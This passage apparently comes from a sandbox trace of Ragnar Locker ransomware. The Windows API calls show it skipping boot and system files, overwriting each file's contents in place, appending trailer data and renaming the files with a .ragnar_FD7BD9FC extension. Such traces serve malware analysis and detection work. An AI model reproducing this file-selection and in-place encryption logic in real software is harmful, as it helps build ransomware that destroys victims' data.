(lpString1=".CNT", lpString2=".msi") returned -1 [0048.061] lstrcmpiW (lpString1=".CNT", lpString2=".drv") returned -1 [0048.061] lstrcmpiW (lpString1=".CNT", lpString2=".exe") returned -1 [0048.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20 [0048.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0048.119] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2557) returned 1 [0048.120] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x9f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.120] GetProcessHeap () returned 0x580000 [0048.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0048.120] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0048.125] VirtualAlloc (lpAddress=0x0, dwSize=0x9fd, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0048.125] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.125] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0048.125] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9fd, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9fd, lpOverlapped=0x0) returned 1 [0048.126] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0048.126] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9fd, nNumberOfBytesToLockHigh=0x0) returned 1 [0048.126] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9fd, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9fd, lpOverlapped=0x0) returned 1 [0048.126] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9fd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0048.126] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0048.126] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x9fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.126] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0048.126] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0048.126] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0048.126] WriteFile (in: hFile=0x108, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0048.126] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0048.126] GetProcessHeap () returned 0x580000 [0048.126] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0048.127] CloseHandle (hObject=0x108) returned 1 [0048.128] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" [0048.128] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.ragnar_FD7BD9FC" [0048.128] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0048.129] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0048.129] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0048.129] lstrcpyW (in: lpString1=0x1eb638, lpString2="EQNEDT32.EXE" | out: lpString1="EQNEDT32.EXE") returned="EQNEDT32.EXE" [0048.129] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned=".EXE" [0048.129] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0048.129] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="autorun.inf") returned 1 [0048.129] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="boot.ini") returned 1 [0048.129] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="bootfont.bin") returned 1 [0048.129] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="bootsect.bak") returned 1 [0048.129] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="bootmgr") returned 1 [0048.129] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="bootmgr.efi") returned 1 [0048.129] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="bootmgfw.efi") returned 1 [0048.129] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="desktop.ini") returned 1 [0048.129] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="iconcache.db") returned -1 [0048.129] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="ntldr") returned -1 [0048.129] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="ntuser.dat") returned -1 [0048.129] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="ntuser.dat.log") returned -1 [0048.129] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="ntuser.ini") returned -1 [0048.129] lstrcmpiW (lpString1="EQNEDT32.EXE", lpString2="thumbs.db") returned -1 [0048.129] lstrcmpiW (lpString1=".EXE", lpString2=".db") returned 1 [0048.129] lstrcmpiW (lpString1=".EXE", lpString2=".sys") returned -1 [0048.130] lstrcmpiW (lpString1=".EXE", lpString2=".dll") returned 1 [0048.130] lstrcmpiW (lpString1=".EXE", lpString2=".lnk") returned -1 [0048.130] lstrcmpiW (lpString1=".EXE", lpString2=".msi") returned -1 [0048.130] lstrcmpiW (lpString1=".EXE", lpString2=".drv") returned 1 [0048.130] lstrcmpiW (lpString1=".EXE", lpString2=".exe") returned 0 [0048.130] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0048.130] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0048.130] lstrcpyW (in: lpString1=0x1eb638, lpString2="eqnedt32.exe.manifest" | out: lpString1="eqnedt32.exe.manifest") returned="eqnedt32.exe.manifest" [0048.130] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned=".manifest" [0048.130] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0048.130] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="autorun.inf") returned 1 [0048.130] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="boot.ini") returned 1 [0048.130] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="bootfont.bin") returned 1 [0048.130] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="bootsect.bak") returned 1 [0048.130] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="bootmgr") returned 1 [0048.130] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="bootmgr.efi") returned 1 [0048.130] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="bootmgfw.efi") returned 1 [0048.130] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="desktop.ini") returned 1 [0048.130] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="iconcache.db") returned -1 [0048.130] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="ntldr") returned -1 [0048.130] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="ntuser.dat") returned -1 [0048.130] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="ntuser.dat.log") returned -1 [0048.130] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="ntuser.ini") returned -1 [0048.130] lstrcmpiW (lpString1="eqnedt32.exe.manifest", lpString2="thumbs.db") returned -1 [0048.130] lstrcmpiW (lpString1=".manifest", lpString2=".db") returned 1 [0048.130] lstrcmpiW (lpString1=".manifest", lpString2=".sys") returned -1 [0048.130] lstrcmpiW (lpString1=".manifest", lpString2=".dll") returned 1 [0048.130] lstrcmpiW (lpString1=".manifest", lpString2=".lnk") returned 1 [0048.130] lstrcmpiW (lpString1=".manifest", lpString2=".msi") returned -1 [0048.130] lstrcmpiW (lpString1=".manifest", lpString2=".drv") returned 1 [0048.130] lstrcmpiW (lpString1=".manifest", lpString2=".exe") returned 1 [0048.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 0x20 [0048.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0048.182] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=566) returned 1 [0048.182] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.182] GetProcessHeap () returned 0x580000 [0048.182] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0048.182] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0048.183] VirtualAlloc (lpAddress=0x0, dwSize=0x236, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0048.183] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.183] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0048.183] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x236, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x236, lpOverlapped=0x0) returned 1 [0048.183] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0048.183] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x236, nNumberOfBytesToLockHigh=0x0) returned 1 [0048.183] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x236, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x236, lpOverlapped=0x0) returned 1 [0048.183] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x236, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0048.183] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0048.183] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x236, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.183] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0048.183] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0048.184] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0048.184] WriteFile (in: hFile=0x108, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0048.184] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0048.184] GetProcessHeap () returned 0x580000 [0048.184] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0048.184] CloseHandle (hObject=0x108) returned 1 [0048.185] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" [0048.185] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.ragnar_FD7BD9FC" [0048.185] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0048.185] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0048.185] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0048.185] lstrcpyW (in: lpString1=0x1eb638, lpString2="EQNEDT32.HLP" | out: lpString1="EQNEDT32.HLP") returned="EQNEDT32.HLP" [0048.185] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned=".HLP" [0048.186] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0048.186] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="autorun.inf") returned 1 [0048.186] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="boot.ini") returned 1 [0048.186] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="bootfont.bin") returned 1 [0048.186] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="bootsect.bak") returned 1 [0048.186] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="bootmgr") returned 1 [0048.186] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="bootmgr.efi") returned 1 [0048.186] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="bootmgfw.efi") returned 1 [0048.186] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="desktop.ini") returned 1 [0048.186] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="iconcache.db") returned -1 [0048.186] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="ntldr") returned -1 [0048.186] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="ntuser.dat") returned -1 [0048.186] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="ntuser.dat.log") returned -1 [0048.186] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="ntuser.ini") returned -1 [0048.186] lstrcmpiW (lpString1="EQNEDT32.HLP", lpString2="thumbs.db") returned -1 [0048.186] lstrcmpiW (lpString1=".HLP", lpString2=".db") returned 1 [0048.186] lstrcmpiW (lpString1=".HLP", lpString2=".sys") returned -1 [0048.186] lstrcmpiW (lpString1=".HLP", lpString2=".dll") returned 1 [0048.186] lstrcmpiW (lpString1=".HLP", lpString2=".lnk") returned -1 [0048.186] lstrcmpiW (lpString1=".HLP", lpString2=".msi") returned -1 [0048.186] lstrcmpiW (lpString1=".HLP", lpString2=".drv") returned 1 [0048.186] lstrcmpiW (lpString1=".HLP", lpString2=".exe") returned 1 [0048.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 0x20 [0048.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0048.186] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=176311) returned 1 [0048.187] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x2b0ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.187] GetProcessHeap () returned 0x580000 [0048.187] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0048.187] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0048.189] VirtualAlloc (lpAddress=0x0, dwSize=0x2b0b7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0048.189] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.189] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0048.189] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2b0b7, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2b0b7, lpOverlapped=0x0) returned 1 [0048.193] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0048.194] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2b0b7, nNumberOfBytesToLockHigh=0x0) returned 1 [0048.194] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2b0b7, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2b0b7, lpOverlapped=0x0) returned 1 [0048.194] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b0b7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0048.194] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0048.195] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x2b0b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.195] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0048.195] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0048.196] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0048.196] WriteFile (in: hFile=0x108, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0048.196] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0048.196] GetProcessHeap () returned 0x580000 [0048.196] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0048.196] CloseHandle (hObject=0x108) returned 1 [0048.198] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" [0048.198] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.ragnar_FD7BD9FC" [0048.199] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0048.199] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, 